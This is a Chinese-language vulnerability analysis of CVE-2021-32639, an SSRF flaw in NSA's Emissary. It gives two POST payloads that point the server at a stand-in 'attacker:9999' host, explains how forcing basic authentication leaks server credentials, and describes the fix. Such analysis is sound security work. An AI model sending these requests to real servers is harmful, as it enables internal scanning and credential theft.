分析Emissary 的SSRF漏洞(CVE-2021-32639)
字数 1498 2025-08-05 08:19:38
Emissary SSRF漏洞分析(CVE-2021-32639) 教学文档
1. Emissary简介
Emissary是NSA(美国国家安全局)开发的一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。
主要特点:
- 工作流不是预先计划的,而是随着数据更多信息被发现而动态确定
- 高度可配置,基本实现几乎不做任何操作
- 用户需要扩展
emissary.place.ServiceProviderPlace类来执行工作 - 工作流分阶段管理:STUDY, ID, COORDINATE, TRANSFORM, ANALYZE, IO, REVIEW
2. 漏洞概述
CVE-2021-32639是Emissary中存在的SSRF(服务器端请求伪造)漏洞,攻击者可以利用该漏洞:
- 使服务器向攻击者控制的服务器发送请求
- 潜在泄露服务器凭证
- 扫描内网或访问内部服务
3. 漏洞触发点
3.1 触发点1 - RegisterPeerActionREST端点
漏洞利用方式:
POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
影响:
- 发送多个请求到攻击者控制的服务器
- 部分请求未经认证(如Heartbeat.action请求)
- 部分请求带有认证信息(如RegisterPeer.action请求)
3.2 触发点2 - AddChildDirectoryAction端点
漏洞利用方式:
POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
4. 漏洞分析
4.1 代码分析路径
RegisterPeerAction.java处理POST请求:
@POST
@Path("/RegisterPeer.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.APPLICATION_XML)
public Response registerPeerPost(@FormParam(DIRECTORY_NAME) String directoryName,
@FormParam(TARGET_DIRECTORY) String targetDirectory) {
// 参数检查
return processRegisterPeer(directoryName, targetDirectory);
}
- 调用
processRegisterPeer方法处理参数:
private Response processRegisterPeer(String peerKey, String dirName) {
final IRemoteDirectory dir = new IRemoteDirectory.Lookup().getLocalDirectory(dirName);
// ...
}
IRemoteDirectory.Lookup.getLocalDirectory方法:
public IRemoteDirectory getLocalDirectory(final String name) {
IDirectoryPlace dir = null;
try {
if (name != null) {
dir = (IDirectoryPlace) Namespace.lookup(name); // 关键漏洞点
} else {
dir = DirectoryPlace.lookup();
}
} catch (emissary.core.EmissaryException ex) {
logger.debug("Could not find local directory " + name);
}
// ...
}
4.2 漏洞原理
- 攻击者可以控制
targetDir参数的值 - 该值被传递给
Namespace.lookup()方法 Namespace.lookup()会尝试解析并连接到指定的URL- 由于缺乏对URL的验证和限制,导致SSRF漏洞
5. 凭证泄露攻击
5.1 攻击原理
Emissary使用Apache HTTP客户端发送请求:
- 凭证从Jetty"用户领域"(user realm)读取
- 存储在凭据提供程序(CRED_PROV)中
- 默认使用"摘要身份验证"(digest authentication)
攻击步骤:
- 搭建恶意服务器要求"基本身份验证"(basic authentication)
- 利用SSRF使Emissary服务器连接到恶意服务器
- HTTP客户端会切换为基本身份验证
- 服务器凭证以Base64编码形式发送给攻击者
5.2 相关代码
凭证设置代码(EmissaryClient.java):
// 从Jetty用户领域读取凭证
// 设置到凭据提供程序中
// 配置为HTTP客户端的默认凭据提供程序
6. 修复方案
NSA采取了以下修复措施:
- 修复SSRF问题,增加对URL的验证和限制
- 强制只允许使用"摘要身份验证方案"(digest authentication),防止身份验证方法混淆
- 即使存在SSRF,也无法泄露凭证
修复提交:
https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976
7. 总结
- CVE-2021-32639是Emissary中的SSRF漏洞
- 影响RegisterPeerAction和AddChildDirectoryAction端点
- 可导致内部网络扫描和服务器凭证泄露
- 修复方案包括输入验证和强制使用安全认证方式
- 展示了SSRF漏洞如何被用于获取系统凭证的高级攻击场景